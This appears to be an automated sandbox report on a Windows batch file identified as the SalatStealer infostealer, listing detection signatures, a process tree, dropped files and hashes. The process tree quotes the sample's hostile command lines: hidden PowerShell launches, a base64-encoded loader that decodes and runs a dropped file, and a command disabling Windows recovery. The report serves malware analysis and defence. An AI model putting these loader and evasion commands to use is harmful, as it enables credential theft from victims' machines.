Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 04:50

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ff89fsv1dy
  • SHA256 355418a2081aa8ab726b40176fd6ff691fcac1125e9d6b1e8f7176f6c6effe83
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 17 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5864
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2308
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2pe2uuvj\2pe2uuvj.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5828
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8A45.tmp" "c:\Users\Admin\AppData\Local\Temp\2pe2uuvj\CSC637119083DB1459BA346DB317EDD2CE.TMP"
              6⤵
                PID:5448
            • C:\Users\Admin\AppData\Local\Temp\p_10c93571-3843-477d-83aa-5445398f462a.exe
              "C:\Users\Admin\AppData\Local\Temp\p_10c93571-3843-477d-83aa-5445398f462a.exe"
              5⤵
              • Executes a file named after a Windows system binary
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2876
              • C:\Users\Admin\AppData\Local\Mozilla\csrss.exe
                C:\Users\Admin\AppData\Local\Mozilla\csrss.exe
                6⤵
                • Executes a file named after a Windows system binary
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2724
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3760
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:4284
                • C:\Program Files (x86)\Microsoft\Edge\Application\csrss.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\csrss.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:4352
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:3052
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
          PID:3296
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
            PID:5748

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1aa750513e0a3fc080d7ed0cfccefd9897f67e82bfcac2591e03704ff87b26a9
                • MD5 SHA1 SHA512 TLSH

                2pe2uuvj.dll

                • Path C:\Users\Admin\AppData\Local\Temp\2pe2uuvj\2pe2uuvj.dll
                • Size 5KB
                • SHA256 adea7097db0568c6746b8132a9e7de7c4e9dbd9d956252fc13d278489db7ad10
                • MD5 SHA1 SHA512 SSDEEP TLSH

                RES8A45.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES8A45.tmp
                • Size 1KB
                • SHA256 5a3c2fb239c49528fb4812cc45bf300d4f3dc40460ef6b7d916ef55fd9ac3045
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_ewlt1osp.eg4.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ewlt1osp.eg4.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_10c93571-3843-477d-83aa-5445398f462a.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_10c93571-3843-477d-83aa-5445398f462a.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                2pe2uuvj.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\2pe2uuvj\2pe2uuvj.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                2pe2uuvj.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\2pe2uuvj\2pe2uuvj.cmdline
                • Size 369B
                • SHA256 496067781ce4d53aa2690d64de7df1881b9ad0070ac458d72658e5c6d6e64ec3
                • MD5 SHA1 SHA512 TLSH

                CSC637119083DB1459BA346DB317EDD2CE.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\2pe2uuvj\CSC637119083DB1459BA346DB317EDD2CE.TMP
                • Size 652B
                • SHA256 1f22a8b36f2855a6918a7175cd1f6f376a406df2a072d82c67c9559890664982
                • MD5 SHA1 SHA512 TLSH

                memory/2308-836-0x000001C246F30000-0x000001C246F38000-memory.dmp

                memory/2308-812-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-816-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-818-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-811-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-819-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-820-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-821-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-822-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-823-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-810-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2308-848-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/2724-860-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-906-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-910-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-909-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-908-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-897-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-907-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-902-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-904-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-905-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-858-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-862-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2724-861-0x0000000000960000-0x00000000015B5000-memory.dmp

                memory/2876-846-0x0000000000400000-0x0000000001055000-memory.dmp

                memory/2876-859-0x0000000000400000-0x0000000001055000-memory.dmp

                memory/2876-851-0x0000000000400000-0x0000000001055000-memory.dmp

                memory/2876-850-0x0000000000400000-0x0000000001055000-memory.dmp

                memory/2876-849-0x0000000000400000-0x0000000001055000-memory.dmp

                memory/3760-892-0x0000000007710000-0x00000000077A6000-memory.dmp

                memory/3760-866-0x00000000052D0000-0x0000000005336000-memory.dmp

                memory/3760-870-0x0000000005C60000-0x0000000005FBB000-memory.dmp

                memory/3760-872-0x0000000006070000-0x00000000060BC000-memory.dmp

                memory/3760-871-0x0000000006040000-0x000000000605E000-memory.dmp

                memory/3760-863-0x00000000027C0000-0x00000000027F6000-memory.dmp

                memory/3760-879-0x00000000065F0000-0x0000000006638000-memory.dmp

                memory/3760-864-0x0000000005610000-0x0000000005C5A000-memory.dmp

                memory/3760-882-0x0000000007450000-0x0000000007486000-memory.dmp

                memory/3760-883-0x0000000070110000-0x000000007015C000-memory.dmp

                memory/3760-884-0x00000000702C0000-0x000000007061B000-memory.dmp

                memory/3760-887-0x0000000007490000-0x00000000074B0000-memory.dmp

                memory/3760-888-0x00000000074B0000-0x0000000007553000-memory.dmp

                memory/3760-889-0x0000000007C40000-0x00000000082BC000-memory.dmp

                memory/3760-890-0x0000000007600000-0x000000000761A000-memory.dmp

                memory/3760-891-0x0000000007660000-0x000000000766A000-memory.dmp

                memory/3760-865-0x0000000005230000-0x0000000005252000-memory.dmp

                memory/3760-893-0x0000000007AF0000-0x0000000007B12000-memory.dmp

                memory/3760-894-0x0000000008880000-0x0000000008E3A000-memory.dmp

                memory/3760-867-0x0000000005340000-0x00000000053A6000-memory.dmp

                memory/4352-881-0x00000000002D0000-0x0000000000F25000-memory.dmp

                memory/4352-878-0x00000000002D0000-0x0000000000F25000-memory.dmp

                memory/5864-8-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/5864-0-0x00007FF85DD7F000-0x00007FF85DD80000-memory.dmp

                memory/5864-3-0x000001E558320000-0x000001E558342000-memory.dmp

                memory/5864-4-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/5864-5-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp

                memory/5864-6-0x00007FF85DBF0000-0x00007FF85E594000-memory.dmp